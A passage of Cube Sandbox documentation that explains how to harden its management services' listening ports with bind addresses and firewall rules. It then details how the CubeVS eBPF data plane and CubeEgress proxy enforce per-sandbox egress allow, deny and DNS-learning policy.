DNS, etc.), see [Self-Build Deployment — Troubleshooting](./self-build-deploy.md#troubleshooting). --- --- url: https://cubesandbox.com/guide/network-hardening.md --- # Network Hardening Cube Sandbox's control-plane and management services are optimized for fast local evaluation, and several of them bind to `0.0.0.0` by default. On a machine reachable from untrusted networks this exposes an attack surface: most management endpoints have no authentication or TLS. This guide explains the default listening surface and how to lock it down with **bind-address configuration** and **firewall rules**. ::: warning The one-click / self-build deployments are designed for development and evaluation. Before placing a deployment on a public-facing machine, review this entire page and apply at least one of the hardening strategies below. ::: ## Default listening surface | Process | Default Bind | Port | Config Method | Notes | |---------|-------------|------|---------------|-------| | CubeMaster | `0.0.0.0` | 8089 | `CUBEMASTER_HTTP_BIND` in `.env` | Cluster management HTTP API, **no auth** | | CubeAPI | `0.0.0.0` | 3000 | `CUBE_API_BIND` in `.env` | Sandbox lifecycle API | | Cubelet gRPC | `0.0.0.0` | 9999 | `tcp_address` in `Cubelet/config/config.toml` | Node management RPC, **no TLS** | | Cubelet HTTP | `0.0.0.0` | 9998 | `[http] address` in `Cubelet/config/config.toml` | Debug / metrics | | cube-proxy | `0.0.0.0` | 80 / 443 / 9090 | `CUBE_PROXY_HTTP_PORT` / `CUBE_PROXY_HTTPS_PORT` / `CUBE_PROXY_GRPC_PORT` | Intentionally public-facing | | cube-egress admin | `127.0.0.1` | 9091 | `CUBE_EGRESS_ADMIN_PORT` in `.env` (keep Cubelet `cube_egress_admin_url` in sync) | Loopback-only policy API | | WebUI | `0.0.0.0` | 12088 | `WEB_UI_HOST_PORT` in `.env` (port only) | Dashboard | | MySQL | `127.0.0.1` | 3306 | Hardcoded in compose template | Already loopback-only | | Redis | `127.0.0.1` | 6379 | Hardcoded in compose template | Already loopback-only | | MinIO API | node IP | 9000 | `CUBE_SANDBOX_MINIO_API_BIND` (defaults to `CUBE_SANDBOX_NODE_IP`) | Compute-node Cubelets need s3fs **and** warehouse blob downloads; not loopback-only | | MinIO console | `127.0.0.1` | 9001 | Hardcoded in compose template | Already loopback-only | MySQL, Redis, and the MinIO console are already bound to loopback by the bundled compose template. The MinIO S3 API is published on the node IP so compute nodes can reach it — restrict that port with a firewall to the private network. The remaining services listed with a `0.0.0.0` default are the ones you need to consider. ## Per-service bind address configuration ### CubeMaster Set in `.env` before running `install.sh`: ```bash # Bind to the private NIC (multi-node safe): CUBEMASTER_HTTP_BIND=10.0.0.11 # Or loopback-only (single all-in-one node, no compute nodes): CUBEMASTER_HTTP_BIND=127.0.0.1 ``` ::: warning Do **not** set `CUBEMASTER_HTTP_BIND=127.0.0.1` if you have compute nodes or a host-network cube-proxy — they reach CubeMaster via the node's external/private IP, and loopback binding will break them. ::: ### CubeAPI Set in `.env`. The value is `<address>:<port>`: ```bash # Bind to the private NIC: CUBE_API_BIND=10.0.0.11:3000 ``` When changing `CUBE_API_BIND`, also update `CUBE_API_HEALTH_ADDR` to match: ```bash CUBE_API_HEALTH_ADDR=10.0.0.11:3000 ``` ::: warning The WebUI container reaches CubeAPI via `host.docker.internal`. Binding CubeAPI to `127.0.0.1` will break the WebUI in bridge-mode Docker. Use a private-IP bind or a firewall rule instead. ::: ### Cubelet (gRPC + HTTP) Cubelet reads its listen addresses from `config/config.toml`. After installation the file lives at `<PKG_ROOT>/Cubelet/config/config.toml`. Edit: ```toml [http] # Default ":9998" means 0.0.0.0:9998 address = "10.0.0.11:9998" [grpc] # Default ":9999" means 0.0.0.0:9999 tcp_address = "10.0.0.11:9999" ``` ::: warning In multi-node deployments the control node connects to each compute node's Cubelet on `tcp_address`. If you bind to a private IP, ensure the control node can route to it. Binding to `127.0.0.1` **will break** multi-node communication. ::: ### WebUI The WebUI docker-compose template publishes the port as `<WEB_UI_HOST_PORT>:80` and the variable currently accepts a port number only. To restrict access, use a firewall rule: ```bash sudo iptables -A INPUT -p tcp --dport 12088 -s 10.0.0.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 12088 -j DROP ``` ### cube-proxy (HTTP/HTTPS) cube-proxy uses host networking and is typically the public entry point for sandbox traffic. Keep it on `0.0.0.0` unless you front it with a dedicated reverse proxy: ```bash CUBE_PROXY_HTTP_PORT=80 CUBE_PROXY_HTTPS_PORT=443 ``` If you need to restrict source IPs, use firewall rules. ### MySQL / Redis The bundled containers already bind to `127.0.0.1` via the compose template — no extra configuration needed. If you use external MySQL/Redis (`CUBE_EXTERNAL_MYSQL_HOST`), enforce access control at the network level. ### MinIO The MinIO console binds to `127.0.0.1:9001`. The S3 API is published on `CUBE_SANDBOX_MINIO_API_BIND` (the detected node IP by default, port 9000) because compute-node Cubelets mount volumes via s3fs **and** download warehouse blobs via presigned GET. Binding the API to loopback (`127.0.0.1`) makes S3 volumes **and** component downloads fail, so sandbox create fails. Restrict TCP 9000 to the private network with a firewall. Set `CUBE_SANDBOX_MINIO_ENABLED=0` when you are not running local MinIO. ## Hardening strategies Choose one or both of the following, depending on your environment. ### Option A: Bind to the private network interface If the machine has both a public and a private NIC, bind management services to the **private (internal) IP** so only the internal network can reach them while the public interface stays unexposed: ```bash # .env CUBEMASTER_HTTP_BIND=10.0.0.11 CUBE_API_BIND=10.0.0.11:3000 CUBE_API_HEALTH_ADDR=10.0.0.11:3000 ``` ```toml # Cubelet/config/config.toml [http] address = "10.0.0.11:9998" [grpc] tcp_address = "10.0.0.11:9999" ``` This keeps multi-node communication intact (compute nodes connect via the private network) while preventing public internet access. For a **single all-in-one node with no compute nodes**, you can bind to `127.0.0.1` for maximum restriction (subject to the caveats noted per service above). ### Option B: Firewall source-IP whitelisting Keep the default `0.0.0.0` binding but allow connections **only from trusted source IPs** (your compute nodes and admin machine). Using `iptables`: ```bash # Allow CubeMaster only from compute nodes + admin sudo iptables -A INPUT -p tcp --dport 8089 -s 10.0.0.12 -j ACCEPT # compute-1 sudo iptables -A INPUT -p tcp --dport 8089 -s 10.0.0.13 -j ACCEPT # compute-2 sudo iptables -A INPUT -p tcp --dport 8089 -s 192.168.1.100 -j ACCEPT # admin sudo iptables -A INPUT -p tcp --dport 8089 -j DROP # deny others # Repeat the same pattern for 9999, 3000, 12088 as needed ``` Using `ufw`: ```bash sudo ufw default deny incoming sudo ufw allow from 10.0.0.0/24 to any port 8089 proto tcp # CubeMaster sudo ufw allow from 10.0.0.0/24 to any port 9999 proto tcp # Cubelet sudo ufw allow from 10.0.0.0/24 to any port 3000 proto tcp # CubeAPI sudo ufw allow from 10.0.0.0/24 to any port 12088 proto tcp # WebUI sudo ufw allow 22/tcp # SSH sudo ufw allow 80/tcp # cube-proxy (public if needed) sudo ufw allow 443/tcp # cube-proxy TLS sudo ufw allow 9090/tcp # cube-proxy plaintext gRPC (public if needed — restrict to trusted networks) sudo ufw enable ``` ### Combining both approaches (recommended) For defense in depth, **bind to a private IP and set firewall rules**. Even if one layer is misconfigured, the other still protects you. ## Multi-node port reachability requirements When deploying compute nodes, the following connectivity must remain open. Ensure your bind addresses and firewall rules do **not** block these paths: | Direction | Port | Service | Required for | |-----------|------|---------|-------------| | Compute → Control | 8089/tcp | CubeMaster | Sandbox metadata, node registration | | Control → Compute | 9999/tcp | Cubelet gRPC | Sandbox lifecycle operations | ## Default credentials The following values in `env.example` are **examples only** — change them for any deployment beyond local evaluation: | Variable | Risk | |----------|------| | `CUBE_SANDBOX_MYSQL_ROOT_PASSWORD` | Full database access | | `CUBE_SANDBOX_MYSQL_PASSWORD` | Application database access | | `CUBE_SANDBOX_REDIS_PASSWORD` | Cache / session access | | `E2B_API_KEY` (defaults to `e2b_000000`) | API authentication | | `DATABASE_URL` | Embeds the MySQL user / password | ## Custom Authentication (Auth Callback) By default CubeAPI accepts **every request without any credential check**. For any deployment beyond local evaluation you should delegate authentication to an external service via the **auth callback** mechanism. When configured, every API request (except `GET /health`) must carry a credential, and CubeAPI forwards it to your callback for a permit/deny decision. ### Enabling Set the callback URL in `.env`, or pass it as a CLI flag (the flag overrides the environment variable): ```bash # .env AUTH_CALLBACK_URL=https://your-auth-service/verify # Or CLI flag ./cube-api --auth-callback-url https://your-auth-service/verify ``` When `AUTH_CALLBACK_URL` is **not set** (the default), all requests are allowed without any credential check. ### How it works ``` Client ──→ CubeAPI │ ├─ Extract credential (Authorization: Bearer / X-API-Key) ├─ Capture path + HTTP method │ └─ POST → AUTH_CALLBACK_URL │ 200 ─────┤──→ allow request non-200 ────┘──→ 401 Unauthorized ``` CubeAPI forwards these headers to your callback: | Header | Description | |--------|-------------| | `Authorization` | `Bearer <token>` (when client used Bearer auth) | | `X-API-Key` | `<key>` (when client used API Key auth) | | `X-Request-Path` | Original request path, e.g. `/templates/my-tmpl` | | `X-Request-Method` | HTTP method, e.g. `GET`, `DELETE`, `PATCH` | `Authorization` and `X-API-Key` are mutually exclusive — the callback receives whichever one the client sent (Bearer takes priority). If the client sends neither, CubeAPI returns `401` without calling your service. ::: warning Always validate path **and** method The same path (e.g. `/templates/:id`) serves GET (read), POST (rebuild), DELETE, and PATCH (update). A callback that only checks the path cannot prevent a read-only key from escalating to a delete operation. Always check **both** `X-Request-Path` and `X-Request-Method`. ::: ::: warning Callback availability If the callback URL is unreachable, CubeAPI fails closed (the request is rejected). Host your auth service with sufficient availability and keep its latency low, since every API request waits on it. ::: ### SDK integration The E2B SDK sends `E2B_API_KEY` as `Authorization: Bearer <key>` automatically: ```bash export E2B_API_KEY=your-actual-api-key ``` For non-SDK clients, send `X-API-Key: <key>` directly. ::: tip Full guide For a complete callback implementation example (Python/FastAPI) and error response reference, see [Authentication](/guide/authentication). ::: ## TLS * CubeMaster and CubeAPI do not terminate TLS. Place them behind cube-proxy or a separate reverse proxy if external TLS is required. * Cubelet gRPC is plaintext; rely on network-level isolation (bind address or firewall) to protect it. * cube-proxy handles TLS termination via `mkcert`-generated certificates by default; replace these with production certificates for public-facing deployments. ## Related * [Network Policy](/guide/network-policy) — sandbox outbound CIDR allow/deny. * [Security Proxy](/guide/security-proxy) — L7 rules on sandbox outbound HTTP/HTTPS. * [Restrict Public Access](/guide/restrict-public-access) — per-sandbox inbound token. * [Multi-Node Cluster Deployment](/guide/multi-node-deploy) — adding compute nodes. --- --- url: https://cubesandbox.com/guide/network-policy.md --- # Egress Network Policy Cube Sandbox egress control is not a single switch. It is a chain formed by **API validation, template merging, Cubelet embedded network runtime programming, the CubeVS eBPF data plane, and the CubeEgress L7 proxy**. Once you understand this chain, it becomes much easier to predict whether a packet will be forwarded directly, rejected, ignored by DNS learning, or redirected into the HTTP/HTTPS proxy. This page explains: * How users configure egress policy from the SDK / API. * How `allow_out`, `deny_out`, and `rules` are merged and programmed. * How CubeVS decides, step by step, in the `from_cube` direction. * How DNS domain allow-listing and A-record learning work. * Which traffic reaches CubeEgress and which traffic does not. * Common configuration examples and troubleshooting steps. For request-level L7 behavior such as full HTTP/HTTPS rule matching, audit logs, header injection, and TLS CA handling, see [Security Proxy](./security-proxy.md). This page focuses on the network-layer path that makes proxy routing possible. ## Overall architecture After egress traffic leaves the sandbox, it roughly follows this path: ```mermaid flowchart LR A[Sandbox process] --> B[TAP device] B --> C[CubeVS from_cube] C -->|direct L3/L4 egress| D[SNAT + host NIC] C -->|L7_REQUIRED TCP 80/443| E[cube-dev] E --> F[Host TPROXY] F --> G[CubeEgress] G --> H[External service] D --> H ``` Each component has a distinct responsibility: | Component | Responsibility | | --- | --- | | CubeAPI | Receives SDK/API requests, maps the network configuration, and forwards a CubeMaster request. | | CubeMaster | Merges template network configuration with the current create request and schedules the sandbox through Cubelet embedded network runtime. | | Cubelet embedded network runtime | Converts `CubeNetworkConfig` into CubeVS `MVMOptions`, extracts network reachability targets from L7 `rules`, and registers or updates the TAP eBPF maps. | | CubeVS | Runs in the host eBPF data plane. It enforces per-sandbox L3/L4 allow/deny policy, DNS A-record learning for configured domains, session/NAT, TCP RST rejection, and L7 proxy routing decisions. | | CubeEgress | Transparent HTTP/HTTPS proxy. It only receives TCP/80 and TCP/443 traffic that CubeVS marked as requiring L7 checks, then evaluates the complete `rules` list. | A key point: **active outbound policy decisions happen in the `from_cube` direction**, after sandbox traffic enters the TAP device. The host-NIC `from_world` direction mainly handles reverse NAT for existing sessions, port-mapped inbound traffic, and DNS response learning. It is not the primary allow/deny decision point for outbound policy. ## User-facing configuration fields At sandbox creation time, these fields jointly control egress behavior: | Field | Where to set it | Layer | Meaning | | --- | --- | --- | --- | | `allow_internet_access` | `Sandbox.create(allow_internet_access=...)` | CubeVS | Whether public internet egress is allowed by default. Defaults to `true`. When set to `false`, CubeVS installs a `0.0.0.0/0` deny-all rule and relies on explicit allow targets to punch holes. | | `allow_out` | `network["allow_out"]` | CubeVS | Explicitly allowed IPv4 addresses, CIDRs, or DNS names. IP/CIDR targets go into `allow_out_v2`; domain targets go into `dns_allow` and become temporary IP allows through DNS query/response learning. | | `deny_out` | `network["deny_out"]` | CubeVS | Explicitly denied IPv4 addresses or CIDRs. Domain names are not accepted here. | | `rules` | `network["rules"]` | CubeVS + CubeEgress | HTTP/HTTPS L7 rules. CubeVS only extracts `match.sni` / `match.host` as network reachability targets and attaches the L7 flag; CubeEgress evaluates the complete match/action rule. | CubeVS evaluates the base IP policy in this order: 1. **Check `allow_out_v2` first**: if it matches, the packet is allowed. If the matched entry carries the `L7_REQUIRED` flag, TCP/80 and TCP/443 are later redirected to CubeEgress. 2. **Check `deny_out` next**: if it matches, the packet is rejected. TCP is reset when possible; non-TCP is dropped. 3. **Default allow if neither matches**: unless `allow_internet_access=false` installed `0.0.0.0/0` in `deny_out`. In short, policy priority is: **allow > deny > default allow**. ::: warning Built-in protection for internal CIDRs When `allow_internet_access` is not `false`, CubeVS adds sandbox-private and host-internal CIDRs to `deny_out` by default: `10.0.0.0/8`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, and `192.168.0.0/16`. This prevents workloads from using public egress policy to reach Cube infrastructure. When `allow_internet_access=false`, the backend installs `0.0.0.0/0` as deny-all; explicit `allow_out` and L7 targets can still take precedence. ::: ## Entry limits Before changing a sandbox's eBPF maps, CubeVS counts the final unique map keys produced from `allow_out`, `deny_out`, and the network targets extracted from `rules`. Limit errors propagate back through Cubelet, CubeMaster, and CubeAPI to the sandbox create caller. | Final map counter | Limit | | --- | --- | | `network.allow_out_v2`: unique IP/CIDR allow keys from `allow_out` plus `rules[].match.host/sni` | `8192` entries | | `network.deny_out`: unique effective deny keys, including built-in internal CIDRs when enabled | `8192` entries | | `network.dns_allow`: unique domain keys from `allow_out` plus `rules[].match.host/sni` | `1024` entries | The DNS inner trie has `1024` domain-rule entries. DNS policy mode is stored separately in `ifindex_to_mvmmeta`, so `dns_allow` no longer reserves an entry for a mode marker. Equivalent targets are deduplicated by their final map key. For example, `198.51.100.1` and `198.51.100.1/32` are one IP key, while domain keys are lowercased and ignore a trailing dot. Over-limit errors identify the final map counter, actual count, and maximum: ```text network.allow_out_v2 exceeds maximum entries: got 8193, max 8192 network.deny_out exceeds maximum entries: got 8193, max 8192 network.dns_allow exceeds maximum entries: got 1025, max 1024 ``` ## Configuration syntax ### `allow_out` Use `allow_out` for L3/L4 reachability. It accepts: * IPv4 addresses, such as `1.1.1.1`, internally treated as `/32`. * IPv4 CIDRs, such as `203.0.113.0/24`. * DNS names, such as `api.example.com`. * Leading `*.` wildcard DNS names, such as `*.example.com`. Wildcard domains match subdomains only, not the apex domain: | Config | Matches | Does not match | | --- | --- | --- | | `*.example.com` | `api.example.com`, `a.b.example.com` | `example.com` | | `example.com` | `example.com` | `api.example.com` | Domains are lowercased and trailing dots are removed. Only valid DNS names are accepted. Dotted-decimal strings that are not valid IPv4 addresses, such as `999.999.999.999`, are rejected or ignored depending on where they appear. When `allow_out` contains a DNS name, the request must also establish a deny-all fallback. Do one of the following: * Set `allow_internet_access=false`; CubeVS will install `0.0.0.0/0` in `deny_out` automatically. * Or explicitly include `0.0.0.0/0` in `deny_out`. This is required because domain `allow_out` entries are learned into temporary IP allow entries after DNS A responses. Without a deny-all fallback, unmatched destinations would still be allowed by the default-allow policy, making the domain allow list misleading. ### `deny_out` `deny_out` only accepts IPv4 addresses or IPv4 CIDRs: ```python network={ "deny_out": [ "169.254.169.254/32", "10.0.0.0/8", ], } ``` `deny_out` does not accept domain names. Domain-based denial would require accounting for DNS resolution, multiple A records, TTLs, CNAMEs, and cache poisoning. The current denial path is a pure IP/CIDR LPM match. In strict mode with `allow_internet_access=false`, `0.0.0.0/0` is already installed as the fallback deny entry in `deny_out`. Additional narrower `deny_out` entries are usually only documentation of intent and do not make the policy stricter than deny-all; the important configuration is the set of `allow_out` holes or L7 `rules` with `host` / `sni` targets. ### `rules` `rules` are L7 HTTP/HTTPS rules evaluated by CubeEgress. A rule usually contains: * `name`: human-readable rule name, used for audit and template merging. * `match.scheme`: `http` or `https`. * `match.sni`: TLS SNI. Supports exact domains and leading `*.` wildcard domains. * `match.host`: HTTP Host. Supports domains, `host:port`, IPv4, IPv4 CIDR, and leading `*.` wildcard domains. * `match.method`: list of HTTP methods; methods are ORed. * `match.path`: exact by default; one trailing `*` means prefix match, such as `/v1/*`. * `action.allow`: `true` allows, `false` rejects. * `action.audit`: audit level, such as `metadata`, `full`, or `none`. * `action.inject`: optional header injection, honored only for allowed HTTPS requests when downstream conditions match. Different match fields are ANDed together. For example, `scheme=https`, `sni=api.example.com`, `method=["POST"]`, and `path=/v1/*` means all those conditions must match. ::: tip Include `host` or `sni` in restricted L7 rules CubeVS only extracts network reachability from `rules[].match.sni` and `rules[].match.host`. `method`, `path`, and `scheme` are evaluated inside CubeEgress, but they do not tell CubeVS which destination IPs should be allowed or proxy-routed. Therefore, when `allow_internet_access=false`, each L7 rule that should actually reach an external HTTP/HTTPS service should include `host` or `sni`. A rule with only `method` and `path` may never reach CubeEgress, because the network layer has no destination target to allow. ::: ## Control-plane merge and programming flow From a user request to eBPF maps, the flow looks like this: ```mermaid flowchart TD A[SDK/API request] --> B[CubeAPI map request] B --> C[CubeMaster request] C --> D[Merge template CubeNetworkConfig] D --> E[Cubelet NetworkRuntime EnsureNetwork] E --> F[Translate CubeNetworkConfig] F --> G[Cubelet runtime cubeVSTapRegistration] G --> H[Extract L7 allow targets from rules] H --> I[CubeVS AddTAPDevice / UpsertTAPDevice] I --> J[Validate final unique map keys] J --> K[allow_out_v2 / deny_out / dns_allow maps] E --> L[CubeEgress receives full rules] ``` ### 1. CubeAPI mapping and forwarding CubeAPI receives `SandboxNetworkConfig`. Configure network policy as follows: ```python network={ "allow_out": ["api.example.com"], "deny_out": ["203.0.113.0/24"], "rules": [...], } ``` CubeAPI maps the request into CubeMaster's `CubeNetworkConfig` and forwards `allow_out`, `deny_out`, and the complete `rules` list. ### 2. CubeMaster template merging If the template also carries a `CubeNetworkConfig`, CubeMaster merges template configuration with the current request: * `allowInternetAccess`: request value overrides the template value when explicitly set. * `allowOut`: request entries are appended to template entries and deduplicated by string. * `denyOut`: request entries are appended to template entries and deduplicated by string. * `rules`: request rules are placed before template rules. If both contain the same `name`, CubeEgress matches the request rule first because the rule list uses first-match-wins semantics. The template rule with the same name is not overwritten or removed; it remains later in the merged list. The merged `CubeNetworkConfig` is sent to Cubelet embedded network runtime. CubeVS validates the final unique eBPF map keys after the embedded network runtime extracts L7 reachability targets. ### 3. Cubelet embedded network runtime extracts CubeVS targets Cubelet embedded network runtime receives `CubeNetworkConfig` and constructs CubeVS `MVMOptions`: * `AllowInternetAccess`: defaults to `true` when omitted. * `AllowOut`: copied from merged `allowOut`. * `DenyOut`: copied from merged `denyOut`. * `L7AllowOut`: extracted from every `rules[].match.sni` and `rules[].match.host`. L7 target extraction works as follows: | Source | Handling | | --- | --- | | `match.sni` | Accepts only valid domains or leading `*.` wildcard domains; lowercases and removes a trailing dot; IPs are not accepted. | | `match.host` as `host:port` | Strips the port and keeps the host. | | `match.host` as IPv4 | Keeps it as an IP `/32` target. | | `match.host` as IPv4 CIDR | Keeps the CIDR. | | `match.host` as domain or `*.` wildcard domain | Normalizes it into a lowercase domain target. | | Invalid host/SNI | Not programmed as a CubeVS target. | For example: ```python rules = [ Rule(match=Match(sni="API.Example.COM."), action=Action(allow=True)), Rule(match=Match(host="gateway.example.com:8443"), action=Action(allow=True)), Rule(match=Match(host="1.2.3.4:443"), action=Action(allow=True)), Rule(match=Match(host="10.1.2.3/8"), action=Action(allow=True)), ] ``` extracts targets similar to: ```text api.example.com gateway.example.com 1.2.3.4 10.0.0.0/8 ``` The difference from plain `allow_out` is that these targets carry the `L7_REQUIRED` flag. ### 4. CubeVS map programming Cubelet embedded network runtime finally programs different sources into different maps: | Source | Map | `L7_REQUIRED`? | Purpose | | --- | --- | --- | --- | | `allow_out` IPv4/CIDR | `allow_out_v2[ifindex]` | No | Allow direct L3/L4 egress. | | `allow_out` domain | `dns_allow[ifindex]` | No | Track matching DNS A queries and learn response A records into `allow_out_v2`. Requires `allow_internet_access=false` or explicit `deny_out=["0.0.0.0/0"]` so non-learned IPs are not default-allowed. | | `rules[].match.host/sni` IPv4/CIDR | `allow_out_v2[ifindex]` | Yes | Allow the IP/CIDR and route TCP/80 and TCP/443 to CubeEgress. | | `rules[].match.host/sni` domain | `dns_allow[ifindex]` | Yes | Track matching DNS A queries and learn IPs with the L7 flag without changing unrelated DNS names. | | `deny_out` | `deny_out[ifindex]` | N/A | Reject matching destination IP/CIDR unless allow matched first. | | Built-in internal CIDRs | `deny_out[ifindex]` | N/A | Prevent access to Cube internal infrastructure. | | `allow_internet_access=false` | `deny_out[ifindex]` | N/A | Install `0.0.0.0/0` deny-all. | If the same IP/CIDR appears in both plain `allow_out` and an L7 rule target, CubeVS preserves the `L7_REQUIRED` flag. Static `allow_out` entries do not expire; DNS-learned entries have `expires_at_ns` and expire according to DNS TTL. ## Updating the policy of a running sandbox `PUT /sandboxes/{sandboxID}/network` replaces the egress policy of a sandbox that is already running. The body is the same `network` object accepted at create time, and it is a **replacement, not a patch**: a field you leave out is cleared. ```bash curl -X PUT "$CUBE_API/sandboxes/$SANDBOX_ID/network" \ -H 'Content-Type: application/json' \ -d '{"allowInternetAccess": false, "allowOut": ["api.example.com"], "denyOut": ["0.0.0.0/0"]}' ``` ::: warning Leaving out `allowInternetAccess` restores internet access The "a field you leave out is cleared" rule is easier to trip over on this flag than on the others: clearing it returns the sandbox to "not explicitly set", whose default is to allow egress, which withdraws the `0.0.0.0/0` deny-all. A sandbox created with `allow_internet_access=false` therefore regains public internet access after any update that does not restate the field — even an update meant only to change `allowOut`. (The built-in internal-subnet protection still applies; only public egress comes back.) There is no shorter way around this: `denyOut` is cleared on omission too, so switching to an explicit `"denyOut": ["0.0.0.0/0"]` still has to be sent every time. Keeping a sandbox isolated means sending the complete desired policy on every update, `"allowInternetAccess": false` included. ::: The policy fields sit at the top level here, not under `network` as they do when creating a sandbox. That matches E2B's update endpoint, so a client written against either SDK reaches the same wire format; E2B's own create nests them the same way ours does, so the asymmetry is upstream's rather than ours. `allowPublicTraffic` and `maskRequestHost` are CubeSandbox extensions that E2B's update schema does not carry. `rules` accepts either shape: CubeEgress's list of rules, or E2B's `{host: [{transform: {headers: {...}}}]}` mapping. The list stays canonical, because E2B's mapping cannot express a deny verdict, an audit level, or any match beyond the host — sending our rules in that shape would silently drop them. An E2B mapping is converted to equivalent allow-and-inject rules named `e2b-transform-<host>`. The SDKs expose it as `sandbox.update_network(...)` (Python), `sandbox.updateNetwork(...)` (Node) and `sandbox.UpdateNetwork(...)` (Go), each taking the whole policy as one object with `allow_internet_access` inside it — the same shape as E2B's `update_network`. ### What happens to connections that are already open Unlike a plain map rewrite, an update also reaches traffic that already exists. Each sandbox carries a policy generation (`mvm_meta.policy_version`) that the update bumps once both CubeEgress and the CubeVS maps hold the new policy. Every session caches the generation it was admitted under, so the next packet on an established flow is re-evaluated exactly once per update: * **Still allowed with the same verdict** — the session is restamped with the new generation and continues untouched. This is the common case and costs one policy lookup per flow per update. * **No longer allowed, or its verdict changed** (for example a host that moved between plain SNAT and L7 interception) — the session is retired immediately: both directions of its conntrack state are deleted, so replies stop being delivered and the 4-tuple is free for a reconnect. TCP is answered with an RST, matching how every other unreachable TCP packet is handled, so the guest fails fast instead of stalling on retransmits; UDP and ICMP have nothing to reset and are dropped. A verdict *change* retires the flow rather than migrating it, because the SNAT and L7 paths disagree about both the reply tuple and which side terminates the TCP connection. The reconnect that follows is evaluated against the new policy like any new flow. Re-evaluation is driven by traffic, not pushed: an idle established connection is only judged when the sandbox next sends on it. A connection that is open but silent therefore stays in the session table until it either sends again or times out normally. Two consequences worth planning for: * **Existing DNS-learned IPs outlive the domain rule that created them.** Removing a domain from `allow_out` stops new IPs from being learned immediately, but IPs already learned for it remain allowed until their DNS TTL expires. Revoking access to a domain promptly requires an `allow_internet_access=false` policy plus a short resolver TTL. * **The update is not transactional across planes.** CubeEgress is updated before CubeVS, and the durable state is written last, so a failure leaves the sandbox on a state no more permissive than the old and new policies combined. Replaying the same request converges; a Cubelet restart re-applies the last policy that was successfully persisted. ## How `from_cube` decides and forwards `from_cube` is the TC eBPF program attached to sandbox TAP ingress. Every packet sent by the sandbox enters this program first. You can think of it in these stages: ```mermaid flowchart TD A[Packet from sandbox TAP] --> B{IPv4?} B -->|No, ARP| C[ARP proxy reply] B -->|No, other| X[Drop] B -->|Yes| D[Lookup sandbox metadata] D --> E{Destination is sandbox gateway?} E -->|Yes| F[Internal cube-dev path] E -->|No| G{Local port mapping?} G -->|Yes| H[SNAT to host mapped port and redirect host NIC] G -->|No| I[Check allow_out_v2 then deny_out] I -->|Denied TCP| J[Send TCP RST back to sandbox] I -->|Denied non-TCP| K[Drop] I -->|Allowed| L{TCP + L7_REQUIRED + port 80/443?} L -->|Yes| M[Redirect original packet to cube-dev ingress] L -->|No| N{UDP DNS query?} N -->|Yes| O[DNS allow-list check] O --> P[UDP NAT] N -->|No| Q[TCP/UDP/ICMP NAT] P --> R[Redirect host NIC] Q --> R ``` ### 1. Non-IPv4 and ARP CubeVS mainly handles IPv4 egress. ARP requests are answered directly by eBPF so the sandbox can resolve its gateway. Other non-IPv4 packets are dropped. ### 2. Sandbox gateway / cube-dev traffic If the destination is the sandbox gateway `169.254.68.5`, this is the internal `cube-dev` path and is not treated as normal public egress. The current logic allows only: * ICMP. * TCP non-SYN packets. TCP SYN and other protocols are dropped. Allowed internal packets are DNATed to `cubegw0_ip` and redirected to `cube-dev`. ### 3. Local port-mapping optimization For TCP traffic, `from_cube` checks `local_port_mapping`. If the sandbox source port corresponds to a host port mapping, CubeVS performs port SNAT and redirects the packet to the host NIC. This is an optimization for port-mapping scenarios. ### 4. Egress network policy Normal external traffic enters `check_net_policy`: 1. Look up the destination IP in `allow_out_v2[ifindex]` with LPM. * If matched and not expired: allow. * If the value contains `NET_POLICY_FLAG_L7_REQUIRED`, TCP/80 and TCP/443 are later routed to the proxy. 2. If allow did not match, look up the destination IP in `deny_out[ifindex]` with LPM. * If matched: reject. 3. If neither allow nor deny matched: default allow. For rejected packets: * TCP: CubeVS tries to synthesize a TCP RST back to the sandbox, so user space usually sees `Connection refused` or an immediate connection failure instead of a long timeout. * UDP/ICMP: the packet is dropped. ::: tip TCP non-SYN packets without a session For outbound TCP NAT, only a first packet with `SYN && !ACK && !FIN && !RST` can create a new session. Later TCP packets must find an existing entry in `egress_sessions`. If the sandbox sends a non-SYN TCP packet without a session, CubeVS returns a TCP RST instead of creating a new connection. This logic happens in the `from_cube` direction. The `from_world` direction only reverse-NATs replies that match `ingress_sessions`; packets without a match are generally passed back to the kernel instead of being evaluated as outbound policy rejects. ::: ### 5. L7 proxy path CubeVS does not use the normal SNAT path when a TCP packet satisfies all of these conditions: * It matched `allow_out_v2`. * The matched value carries `L7_REQUIRED`. * The destination port is TCP `80` or `443`. Instead, CubeVS redirects the original packet to `cube-dev` ingress. Host TPROXY rules then match `iif cube-dev + dport 80/443` and hand the connection to CubeEgress. CubeEgress evaluates the full `rules` grammar: `scheme`, `sni`, `host`, `method`, `path`, `action`, `audit`, and `inject`. ### 6. Normal NAT/session path TCP/UDP/ICMP traffic that does not require L7 proxying goes through CubeVS NAT/session tracking: * TCP: only SYN creates a session; later packets update the TCP conntrack state. * UDP: the first outbound packet creates an `UNREPLIED` session; the first reply moves it to `REPLIED`. * ICMP: only Echo Request is handled; the identifier is used as the session-key port equivalent. SNAT rewrites the sandbox source address `169.254.68.6` to a routable host SNAT IP, allocates a dynamic source port, and redirects the packet to the host NIC. ## DNS domain allow-listing and learning Domain policy is the easiest part to misunderstand. CubeVS does not directly "allow a domain", because real packets only carry destination IPs. Instead, it **tracks configured DNS A queries and learns matching A-record answers into temporary IP allow entries**. DNS names that are not configured are not blocked at DNS time; they simply do not create learned IP allow entries. ### DNS allow map layout Each sandbox has a `dns_allow[ifindex]` inner map. It is an LPM trie keyed by reversed domain names: | Config | Reversed-key idea | Match semantics | | --- | --- | --- | | `example.com` | `moc.elpmaxe\0` | Exact match for `example.com`. | | `*.example.com` | `moc.elpmaxe.` | Matches subdomains such as `api.example.com`, not `example.com`. | `dns_allow` stores only domain rules and rule-specific flags such as `L7_REQUIRED`. The sandbox-level DNS policy mode is stored in `ifindex_to_mvmmeta[].dns_policy_flags`: | Mode | Domain sources | Query behavior | Learning behavior | | --- | --- | --- | --- | | Off | No `allow_out` domains and no L7 rule domains | DNS follows normal UDP egress. | No DNS response learning. | | Track | At least one `allow_out` domain or L7 rule domain | All DNS names are allowed; matching configured domains are tracked. | Matching A-record responses are learned into `allow_out_v2`; L7 flags are preserved. | Both `allow_out` domains and L7 rule domains enable DNS learning. Neither source turns DNS itself into an allow-list, and CubeVS no longer returns synthetic NXDOMAIN for unmatched domains. ### DNS query path When the sandbox sends a UDP/53 query, `from_cube` tries to parse the DNS payload: 1. Only well-formed standard IN A queries are 